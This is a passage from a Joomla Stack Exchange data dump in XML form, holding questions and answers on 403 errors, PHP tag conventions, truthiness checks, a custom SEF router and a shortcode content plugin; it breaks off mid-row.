  <row Id="28680" PostTypeId="2" ParentId="28672" CreationDate="2020-11-24T12:03:12.500" Score="2" Body="&lt;p&gt;You don't necessary need it.&#xA;I think it may be a bit of a performance factor and also UI cluttering if you have custom fields enabled but not used. For core, it was decided to make it opt-in.&lt;/p&gt;&#xA;&lt;p&gt;In my own extension, I have no parameter for it.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2020-11-24T12:03:12.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28681" PostTypeId="2" ParentId="28674" CreationDate="2020-11-24T12:15:51.377" Score="1" Body="&lt;p&gt;See the docs for controller task - &lt;a href=&quot;https://docs.joomla.org/Model-View-Controller/en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Model View Controller&lt;/a&gt;. Since you want to make it accessible to registered users and not to the public, you can simply check the user and return if your checks do not pass. You can see the getUser method documentation here - &lt;a href=&quot;https://docs.joomla.org/Accessing_the_current_user_object&quot; rel=&quot;nofollow noreferrer&quot;&gt;Accessing Current User Object&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-11-24T12:15:51.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28682" PostTypeId="1" CreationDate="2020-11-24T18:49:23.953" Score="0" ViewCount="3421" Body="&lt;p&gt;I have been contracted to manage a website built with Joomla, I have to update articles but anytime I try to save changes this is the error I get.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Forbidden&#xA;You don't have permission to access this resource.&#xA;Additionally, a 403 Forbidden error was encountered while trying to use an ErrorDocument to handle the request.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;how do I solve this?.&lt;/p&gt;&#xA;" OwnerUserId="14675" LastEditorUserId="120" LastEditDate="2020-11-24T22:03:21.513" LastActivityDate="2020-11-24T22:03:21.513" Title="403 Error: Forbidden You don't have permission to access this resource" Tags="|articles|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28683" PostTypeId="2" ParentId="28682" CreationDate="2020-11-24T20:03:26.513" Score="1" Body="&lt;p&gt;According to a forum post in Joomla (link below), you could check to see if the Session Path Writable is set to NO. If the Session Path Writable is set to no, you will need to contact your hosting provider to change this.&lt;/p&gt;&#xA;&lt;p&gt;Her is a link to a thread for the same problem: &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=971335&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=971335&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7250" LastActivityDate="2020-11-24T20:03:26.513" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28684" PostTypeId="1" CreationDate="2020-11-25T01:59:35.330" Score="0" ViewCount="17" Body="&lt;p&gt;Our product has a fixed set of menu items. I would like my users to be able to add items to the (main) menu, but I do not want them to change our fixed menu.&lt;/p&gt;&#xA;&lt;p&gt;eg. &lt;strong&gt;fixed menu&lt;/strong&gt;&#xA;Home   MyCoMenu1  MyCoMenu2&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;End user can add their own items but not alter fixed menu items&lt;/strong&gt;&#xA;Home   MyCoMenu1  MyCoMenu2  Custom1  Custom2&lt;/p&gt;&#xA;&lt;p&gt;I have already restricted menu-access in the end-user in the backend of Joomla. But the best I can do is not allow the end-user to delete a menu item, but he can unpublish it.&lt;/p&gt;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="14678" LastActivityDate="2020-11-25T01:59:35.330" Title="Append custom menu items to a fixed menu" Tags="|menu|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28685" PostTypeId="1" CreationDate="2020-11-25T09:28:07.207" Score="1" ViewCount="68" Body="&lt;p&gt;I'm using the J2STORE component on Joomla 3.9.22.&#xA;I would need to publish a module in a Blog category but only in the articles (not in the list), in this case the articles are products of j2store.&#xA;Also I would like another module to only appear in articles where specific tags are present.&#xA;I know that Joomla does not allow this type of assignment so I used the “Advanced Module Manager” component which performs exactly this function but not for j2store articles.&lt;/p&gt;&#xA;&lt;p&gt;In this regard the developer replies:&#xA;&amp;quot;Advanced Module Manager is compatible with it though. Just no a ready-to-use select option for it. You can write a php assignment to check whatever you need. See: &lt;a href=&quot;https://regularlabs.com/extensions/advancedmodulemanager/faqs#i-want-to-assign-my-module-to-something-not-available-in-the-assignments&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://regularlabs.com/extensions/advancedmodulemanager/faqs#i-want-to-assign-my-module-to-something-not-available-in-the-assignments&lt;/a&gt; &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;How can I go about solving and getting this I need?&lt;/p&gt;&#xA;&lt;p&gt;It would be enough just to &amp;quot;activate&amp;quot;, as the developer of Advanced Module Manager says, this compatibility with J2store. But I do not know how I can do it.&lt;/p&gt;&#xA;" OwnerUserId="14680" LastEditorUserId="12352" LastEditDate="2020-11-25T13:10:05.213" LastActivityDate="2020-11-25T13:10:05.213" Title="Display modules only in articles (not in the article list) and only in articles with a specific tag" Tags="|joomla-3.x|module|tags|positions|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28686" PostTypeId="2" ParentId="28676" CreationDate="2020-11-25T11:51:00.023" Score="0" Body="&lt;p&gt;Now I had time to look at the feedback/answer.&lt;/p&gt;&#xA;&lt;p&gt;I checked the value with &lt;code&gt;var_dump()&lt;/code&gt; and it showed &lt;code&gt;NULL&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The problem was solved with a correction of the check which @mickmackusa mentioned:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;item-&amp;gt;params-&amp;gt;get('itemExtraFields') &amp;amp;&amp;amp; !empty($this-&amp;gt;item-&amp;gt;extra_fields)): ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14672" LastEditorUserId="12352" LastEditDate="2020-11-27T04:02:07.090" LastActivityDate="2020-11-27T04:02:07.090" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28688" PostTypeId="2" ParentId="28676" CreationDate="2020-11-27T04:15:12.883" Score="1" Body="&lt;p&gt;Since the value of &lt;code&gt;$this-&amp;gt;item-&amp;gt;extra_fields&lt;/code&gt; is either an array or &lt;code&gt;null&lt;/code&gt;, you don't need to check if it &amp;quot;is set&amp;quot; with &lt;code&gt;!empty()&lt;/code&gt; or &lt;code&gt;isset()&lt;/code&gt;; a truthy value check is all that is required.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;item-&amp;gt;params-&amp;gt;get('itemExtraFields') &amp;amp;&amp;amp; $this-&amp;gt;item-&amp;gt;extra_fields) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;By writing &lt;code&gt;$this-&amp;gt;item-&amp;gt;extra_fields&lt;/code&gt; (without any function calls or operators) into the conditional expression, it is checked for &amp;quot;truthiness&amp;quot; or in other words checking its boolean value.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;null&lt;/code&gt; has a boolean value of &lt;code&gt;false&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;an empty array has a boolean value of &lt;code&gt;false&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;a non-empty array has a boolean value of &lt;code&gt;true&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Here is &lt;a href=&quot;https://3v4l.org/WLRk5&quot; rel=&quot;nofollow noreferrer&quot;&gt;a quick demonstration&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;So, if the &lt;code&gt;extra_fields&lt;/code&gt; property is not null and not an empty array, then it will pass the conditional criteria and enter that branch of the condition block.&lt;/p&gt;&#xA;&lt;p&gt;If there is any possibility that &lt;code&gt;$this-&amp;gt;item-&amp;gt;extra_fields&lt;/code&gt; might not be set, then the safer technique is to call &lt;code&gt;!empty()&lt;/code&gt; on it.  Using &lt;code&gt;!empty()&lt;/code&gt; for ALL falsey checks in a project will lead to loads of unnecessary code bloat.  If you are assured that a variable will be declared/set, then don't make the function call.  (Objects are a different matter and cannot be treated the same way, but I will not digress.)&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2020-11-27T07:43:28.143" LastActivityDate="2020-11-27T07:43:28.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28689" PostTypeId="2" ParentId="28666" CreationDate="2020-11-27T18:31:14.153" Score="1" Body="&lt;p&gt;You'll probably want to look at something like Composer to install libraries in your component or plugin.&lt;/p&gt;&#xA;&lt;p&gt;Simple search: &lt;a href=&quot;https://packagist.org/?query=iptc%20exif%20xmp&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://packagist.org/?query=iptc%20exif%20xmp&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;First one found: &lt;a href=&quot;https://packagist.org/packages/wikimedia/xmp-reader&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://packagist.org/packages/wikimedia/xmp-reader&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;README&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Reader for XMP data containing properties relevant to images, written in PHP.&lt;/p&gt;&#xA;&lt;p&gt;Install&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;composer require wikimedia/xmp-reader&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Usage&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Wikimedia\XMPReader\Reader as XMPReader;&#xA;    &#xA;//...&#xA;&#xA;// Check if the php instance has the required supported libraries to parse XMP&#xA;$isXMPSupported = XMPReader::isSupported();&#xA;&#xA;// Create a new instance&#xA;$xmp = new XMPReader();&#xA;// or&#xA;$xmp = new XMPReader( $logger, $filename );&#xA;// where $logger is an implementation of Psr\Log\LoggerInterface and $filename a string describing the origin of your XMP content&#xA;&#xA;// To parse XMP data in $string&#xA;$xmp-&amp;gt;parse( $string );&#xA;&#xA;// To parse XMP Extended data in $string&#xA;$xmp-&amp;gt;parseExtended( $string );&#xA;&#xA;// To retrieve the parsed results&#xA;$results = $xmp-&amp;gt;getResults();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The parsed results are returned in an array of 3 potential groups, which indicate their priority according to the Metadata Working Group guidance. &lt;a href=&quot;http://www.metadataworkinggroup.org/pdf/mwg_guidance.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.metadataworkinggroup.org/pdf/mwg_guidance.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[&#xA;    'xmp-exif' =&amp;gt; [],&#xA;    'xmp-general' =&amp;gt; [],&#xA;    'xmp-deprecated' =&amp;gt; [],&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The PDF in the README is a dead link, but you can see it here:&#xA;&lt;a href=&quot;https://web.archive.org/web/20180819023436/http://www.metadataworkinggroup.org/pdf/mwg_guidance.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://web.archive.org/web/20180819023436/http://www.metadataworkinggroup.org/pdf/mwg_guidance.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2082" LastActivityDate="2020-11-27T18:31:14.153" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28690" PostTypeId="2" ParentId="28678" CreationDate="2020-11-27T21:41:18.273" Score="0" Body="&lt;p&gt;Ah ha we uninstalled Regular Labs Advanced Template Manager which solved the problem.  Clearly it takes control of the templates so that makes sense.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2020-11-27T21:41:18.273" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28691" PostTypeId="1" CreationDate="2020-11-28T09:37:29.043" Score="0" ViewCount="19" Body="&lt;p&gt;For some time I have had the issue that the file permissions for index.php in the root directory (and sometimes within /administrator folder as well) is automatically changed from 644 and so page access is denied.&lt;/p&gt;&#xA;&lt;p&gt;Recently, I did walk through all found trouble shootings for Joomla security, did scan website with various online tools, and did setup Admin Tools Pro, but still no results.&lt;/p&gt;&#xA;&lt;p&gt;Also google search somehow did not deliver any specific results for this issue.&lt;/p&gt;&#xA;&lt;p&gt;So I just thought I'd try my luck here. How can I prevent the changing chmod for Joomla files from outside.&lt;/p&gt;&#xA;" OwnerUserId="8439" LastEditorUserId="12352" LastEditDate="2020-11-28T13:37:28.780" LastActivityDate="2020-11-28T13:37:28.780" Title="Joomla CHMOD index.php changed from outside" Tags="|joomla-3.x|security|hacked|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28692" PostTypeId="1" AcceptedAnswerId="28695" CreationDate="2020-11-28T13:30:07.757" Score="0" ViewCount="68" Body="&lt;p&gt;It seems like there is a new code convention that I haven't noticed previously.&lt;/p&gt;&#xA;&lt;p&gt;On every PHP line it is opened and closed like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo &amp;quot;some stuff&amp;quot;; ?&amp;gt;&#xA;&amp;lt;?php echo &amp;quot;other stuff&amp;quot;; ?&amp;gt;&#xA;&amp;lt;?php echo &amp;quot;more stuff&amp;quot;; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It would make as much sense to do&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;      echo &amp;quot;some stuff&amp;quot;; &#xA;      echo &amp;quot;other stuff&amp;quot;; &#xA;      echo &amp;quot;more stuff&amp;quot;; &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What is the reason for this way of coding?  I'm sure there is one, I just don't know what it is.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2020-11-28T17:04:01.033" Title="Why do we use &lt;?php and then ?&gt; on every single line?" Tags="|joomla-coding-standards|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28693" PostTypeId="2" ParentId="28692" CreationDate="2020-11-28T13:59:19.207" Score="0" Body="&lt;p&gt;I think it is more of a PHP coding standards question than Joomla question. So I’d only like to give a short answer on this.&lt;/p&gt;&#xA;&lt;p&gt;If someone closes PHP code at every line then it is a bad coding style or bad understanding of PHP. If the file is a mixed file with PHP/HTML then the line has to be closed with &lt;code&gt;?&amp;gt;&lt;/code&gt; before using HTML of course.&lt;/p&gt;&#xA;&lt;p&gt;For PHP there is PSR. PSR stands for &lt;strong&gt;PHP Standard Recommendation&lt;/strong&gt;. You can study the basic coding style guide for example here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.php-fig.org/psr/psr-2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.php-fig.org/psr/psr-2/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Only few excerpts from the recommendations:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;PHP Tags:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;PHP code MUST use the long &lt;code&gt;&amp;lt;?php ?&amp;gt;&lt;/code&gt; tags or the short-echo &lt;code&gt;&amp;lt;?= ?&amp;gt;&lt;/code&gt; tags; it MUST NOT use the other tag variations.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;On PHP files:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The closing &lt;code&gt;?&amp;gt;&lt;/code&gt; tag MUST be omitted from files containing only PHP.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;PHP standard recommendation is not a must but it is a well considered convention among PHP programmers.&lt;/p&gt;&#xA;&lt;p&gt;So the answer on your question is: there is no any convention in PHP for closing every line with PHP closing tag.&lt;/p&gt;&#xA;&lt;p&gt;(Short edit: since @sharky copied few lines from Joomla coding standards in his answer which gives that in Joomla layout files every line should be closed with PHP closing tags (then open and close again in every line), well, I think, even if this is recommended in Joomla, I think it is not practical at all and does not help moving PHP code blocks at all...but I was then a bit wrong above specifically regarding Joomla layout coding style, since someones decided to recommend this style. The use of that style might be reconsidered though according to me, I do not see any real, valuable reasoning behind using that...but maybe it is just my opinion).&lt;/p&gt;&#xA;&lt;p&gt;And as I see in other posts it is not only frowned upon by me but other PHP developers are  also agains this with their bad opinions (well, in other frameworks):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://wordpress.stackexchange.com/questions/79938/why-have-php-and-on-every-line&quot;&gt;https://wordpress.stackexchange.com/questions/79938/why-have-php-and-on-every-line&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2020-11-28T17:04:01.033" LastActivityDate="2020-11-28T17:04:01.033" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28694" PostTypeId="1" CreationDate="2020-11-28T14:21:22.700" Score="1" ViewCount="137" Body="&lt;p&gt;For a particular reason, I need to keep in the SEF URL only the alias of the item to have a URL like this &lt;a href=&quot;http://www.mywebsite.com/**myItemAlias*&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.mywebsite.com/**myItemAlias*&lt;/a&gt;* but of course without creating a direct menu to the item because I need it to be automatic.&lt;/p&gt;&#xA;&lt;p&gt;My router code :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// No direct access to this file&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;/**&#xA; * Routing class from com_wm&#xA; *&#xA; * @since  3.3&#xA; */&#xA;class WmRouter extends JComponentRouterBase&#xA;{   &#xA;    /**&#xA;     * Build the route for the com_wm component&#xA;     *&#xA;     * @param   array  &amp;amp;$query  An array of URL arguments&#xA;     *&#xA;     * @return  array  The URL arguments to use to assemble the subsequent URL.&#xA;     *&#xA;     * @since   3.3&#xA;     */&#xA;    public function build(&amp;amp;$query)&#xA;    {&#xA;        $segments = array();&#xA;&#xA;        // Get a menu item based on Itemid or currently active&#xA;        $params = JComponentHelper::getParams('com_wm');&#xA;        &#xA;        if (empty($query['Itemid']))&#xA;        {&#xA;            $menuItem = $this-&amp;gt;menu-&amp;gt;getActive();&#xA;        }&#xA;        else&#xA;        {&#xA;            $menuItem = $this-&amp;gt;menu-&amp;gt;getItem($query['Itemid']);&#xA;        }&#xA;&#xA;        $mView = (empty($menuItem-&amp;gt;query['view'])) ? null : $menuItem-&amp;gt;query['view'];&#xA;        $mId = (empty($menuItem-&amp;gt;query['id'])) ? null : $menuItem-&amp;gt;query['id'];&#xA;&#xA;        if (isset($query['view']))&#xA;        {&#xA;            $view = $query['view'];&#xA;&#xA;            if (empty($query['Itemid']))&#xA;            {&#xA;                $segments[] = $query['view'];&#xA;            }&#xA;&#xA;            unset($query['view']);&#xA;        }&#xA;        &#xA;        // Are we dealing with a item that is attached to a menu item?&#xA;        if (isset($view) &amp;amp;&amp;amp; ($mView == $view) and (isset($query['id'])) and ($mId == (int) $query['id']))&#xA;        {&#xA;            unset($query['view']);&#xA;            unset($query['catid']);&#xA;            unset($query['id']);&#xA;            return $segments;&#xA;        }&#xA;&#xA;        if (isset($view) &amp;amp;&amp;amp; isset($query['id']) &amp;amp;&amp;amp; ($view === 'webcasts' || $view === 'webcast'))&#xA;        {&#xA;            if ($mId != (int) $query['id'] || $mView != $view)&#xA;            {&#xA;                if (($view === 'webcasts' || $view === 'webcast'))&#xA;                {&#xA;                    $segments[] = $view;&#xA;                    $id = explode(':', $query['id']);&#xA;                    if (count($id) == 2)&#xA;                    {&#xA;                        $segments[] = $id[1];&#xA;                    }&#xA;                    else&#xA;                    {&#xA;                        $segments[] = $id[0];&#xA;                    }&#xA;                }&#xA;            }&#xA;            unset($query['id']);&#xA;        }&#xA;        &#xA;        $total = count($segments);&#xA;&#xA;        for ($i = 0; $i &amp;lt; $total; $i++)&#xA;        {&#xA;            $segments[$i] = str_replace(':', '-', $segments[$i]);&#xA;        }&#xA;&#xA;        return $segments; &#xA;        &#xA;    }&#xA;&#xA;    /**&#xA;     * Parse the segments of a URL.&#xA;     *&#xA;     * @param   array  &amp;amp;$segments  The segments of the URL to parse.&#xA;     *&#xA;     * @return  array  The URL attributes to be used by the application.&#xA;     *&#xA;     * @since   3.3&#xA;     */&#xA;    public function parse(&amp;amp;$segments)&#xA;    {       &#xA;        $count = count($segments);&#xA;        $vars = array();&#xA;        &#xA;        //Handle View and Identifier&#xA;        switch($segments[0])&#xA;        {&#xA;            case 'webcasts':&#xA;                $vars['view'] = 'webcasts';&#xA;                if (is_numeric($segments[$count-1]))&#xA;                {&#xA;                    $vars['id'] = (int) $segments[$count-1];&#xA;                }&#xA;                elseif ($segments[$count-1])&#xA;                {&#xA;                    $id = $this-&amp;gt;getVar('webcast', $segments[$count-1], 'alias', 'id');&#xA;                    if($id)&#xA;                    {&#xA;                        $vars['id'] = $id;&#xA;                    }&#xA;                }&#xA;                break;&#xA;            case 'webcast':&#xA;                $vars['view'] = 'webcast';&#xA;                if (is_numeric($segments[$count-1]))&#xA;                {&#xA;                    $vars['id'] = (int) $segments[$count-1];&#xA;                }&#xA;                elseif ($segments[$count-1])&#xA;                {&#xA;                    $id = $this-&amp;gt;getVar('webcast', $segments[$count-1], 'alias', 'id');&#xA;                    if($id)&#xA;                    {&#xA;                        $vars['id'] = $id;&#xA;                    }&#xA;                }&#xA;                break;&#xA;        }&#xA;&#xA;        return $vars;&#xA;    } &#xA;&#xA;    protected function getVar($table, $where = null, $whereString = null, $what = null, $category = false, $operator = '=', $main = 'wm')&#xA;    {&#xA;        if(!$where || !$what || !$whereString)&#xA;        {&#xA;            return false;&#xA;        }&#xA;        // Get a db connection.&#xA;        $db = JFactory::getDbo();&#xA;        // Create a new query object.&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        $query-&amp;gt;select($db-&amp;gt;quoteName(array($what)));&#xA;        if ('categories' == $table || 'category' == $table || $category)&#xA;        {&#xA;            $getTable = '#__categories';&#xA;            $query-&amp;gt;from($db-&amp;gt;quoteName($getTable));&#xA;            // we need this to target the components categories (TODO will keep an eye on this)&#xA;            $query-&amp;gt;where($db-&amp;gt;quoteName('extension') . ' LIKE '. $db-&amp;gt;quote((string)'com_' . $main . '%'));&#xA;        }&#xA;        else&#xA;        {&#xA;            // we must check if the table exist (TODO not ideal)&#xA;            $tables = $db-&amp;gt;getTableList();&#xA;            $app = JFactory::getApplication();&#xA;            $prefix = $app-&amp;gt;get('dbprefix');&#xA;            $check = $prefix.$main.'_'.$table;&#xA;            if (in_array($check, $tables))&#xA;            {&#xA;                $getTable = '#__'.$main.'_'.$table;&#xA;                $query-&amp;gt;from($db-&amp;gt;quoteName($getTable));&#xA;            }&#xA;            else&#xA;            {&#xA;                return false;&#xA;            }&#xA;        }&#xA;        if (is_numeric($where))&#xA;        {&#xA;            return false;&#xA;        }&#xA;        elseif ($this-&amp;gt;checkString($where))&#xA;        {&#xA;            // we must first check if this table has the column&#xA;            $columns = $db-&amp;gt;getTableColumns($getTable);&#xA;            if (isset($columns[$whereString]))&#xA;            {&#xA;                $query-&amp;gt;where($db-&amp;gt;quoteName($whereString) . ' '.$operator.' '. $db-&amp;gt;quote((string)$where));&#xA;            }&#xA;            else&#xA;            {&#xA;                return false;&#xA;            }&#xA;        }&#xA;        else&#xA;        {&#xA;            return false;&#xA;        }&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $db-&amp;gt;execute();&#xA;        if ($db-&amp;gt;getNumRows())&#xA;        {&#xA;            return $db-&amp;gt;loadResult();&#xA;        }&#xA;        return false;&#xA;    }&#xA;    &#xA;    protected function checkString($string)&#xA;    {&#xA;        if (isset($string) &amp;amp;&amp;amp; is_string($string) &amp;amp;&amp;amp; strlen($string) &amp;gt; 0)&#xA;        {&#xA;            return true;&#xA;        }&#xA;        return false;&#xA;    }&#xA;}&#xA;&#xA;function WmBuildRoute(&amp;amp;$query)&#xA;{&#xA;    $router = new WmRouter;&#xA;    &#xA;    return $router-&amp;gt;build($query);&#xA;}&#xA;&#xA;function WmParseRoute($segments)&#xA;{&#xA;    $router = new WmRouter;&#xA;&#xA;    return $router-&amp;gt;parse($segments);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I don't really know how to go about it, I think we need to change here :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;//Handle View and Identifier&#xA;        switch($segments[0])&#xA;        {&#xA;            case 'webcasts':&#xA;                $vars['view'] = 'webcasts';&#xA;                if (is_numeric($segments[$count-1]))&#xA;                {&#xA;                    $vars['id'] = (int) $segments[$count-1];&#xA;                }&#xA;                elseif ($segments[$count-1])&#xA;                {&#xA;                    $id = $this-&amp;gt;getVar('webcast', $segments[$count-1], 'alias', 'id');&#xA;                    if($id)&#xA;                    {&#xA;                        $vars['id'] = $id;&#xA;                    }&#xA;                }&#xA;                break;&#xA;            case 'webcast':&#xA;                $vars['view'] = 'webcast';&#xA;                if (is_numeric($segments[$count-1]))&#xA;                {&#xA;                    $vars['id'] = (int) $segments[$count-1];&#xA;                }&#xA;                elseif ($segments[$count-1])&#xA;                {&#xA;                    $id = $this-&amp;gt;getVar('webcast', $segments[$count-1], 'alias', 'id');&#xA;                    if($id)&#xA;                    {&#xA;                        $vars['id'] = $id;&#xA;                    }&#xA;                }&#xA;                break;&#xA;        }&#xA;&#xA;        return $vars;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14584" LastActivityDate="2021-04-29T16:03:15.767" Title="Router, keep only item alias in SEF URL" Tags="|php|joomla-api|sef|router|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28695" PostTypeId="2" ParentId="28692" CreationDate="2020-11-28T14:53:14.367" Score="2" Body="&lt;p&gt;This is mentioned in Joomla! Coding Standards Manual:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;For layout files and all files where we use a mix of PHP and HTML (all PHP files in the &lt;code&gt;view/tmpl&lt;/code&gt; and &lt;code&gt;layout&lt;/code&gt; folder) we additionally wrap every line into a &lt;code&gt;&amp;lt;?php ... ?&amp;gt;&lt;/code&gt; block and use the alternative syntax for control structures.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The reasoning is this:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This should make the code easier to read and make it easier to move blocks around without creating fatal errors due to missing &lt;code&gt;&amp;lt;?php ... ?&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.joomla.org/coding-standards/php-code.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.joomla.org/coding-standards/php-code.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-11-28T14:53:14.367" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28696" PostTypeId="1" CreationDate="2020-11-28T14:59:29.367" Score="0" ViewCount="58" Body="&lt;p&gt;I have a form on my admin page of my component, and I can edit the fields and save them.&lt;/p&gt;&#xA;&lt;p&gt;When I load the page the saved fields show.&lt;/p&gt;&#xA;&lt;p&gt;Say for example in a blog_category menu item.  I create a new menu item based on this and I add a new field to the XML.  I want to populate that field with two of the other fields.&lt;/p&gt;&#xA;&lt;p&gt;So when I open my menu item to edit the values I want the value of my new field to say contain the title and the meta description.  How do I get the existing values?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2020-12-04T11:40:27.693" LastActivityDate="2020-12-04T11:40:27.693" Title="How can I get the values of the form on my admin page" Tags="|custom-component|administrator|component-params|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28697" PostTypeId="1" AcceptedAnswerId="28698" CreationDate="2020-11-27T11:04:05.067" Score="2" ViewCount="42" Body="&lt;p&gt;I tried everything I could (yes, searching with google for a long time too) but I can't find what I am doing wrong here. I am trying to write Joomla plugin to change shortcode into list od adverts on OtoMoto.pl. But I am stuck on changing shortcode to any text. For some reason joomla don't even trigger my code in function. Could anyone help me with that? I am using Joomla 3.9.23 Stable, PHP 7.4.10 and below is my code:&lt;br&gt;&#xA;otomoto.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die( 'Restricted access' );&#xA;class plgContentOtoMotoShortcode extends JPlugin&#xA;{&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    function onContentPrepare($context, &amp;amp;$article, &amp;amp;$params, $limitstart = 0)&#xA;    {&#xA;        var_dump($article);&#xA;        $list_of_adverts = &amp;quot;Temporary&amp;quot;;&#xA;        $text = str_replace('[otomoto]', $list_of_adverts, $article-&amp;gt;text);&#xA;        $article-&amp;gt;text = $text;&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;otomoto.xml&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot; ?&amp;gt;&#xA;&amp;lt;extension version=&amp;quot;3.2&amp;quot; type=&amp;quot;plugin&amp;quot; 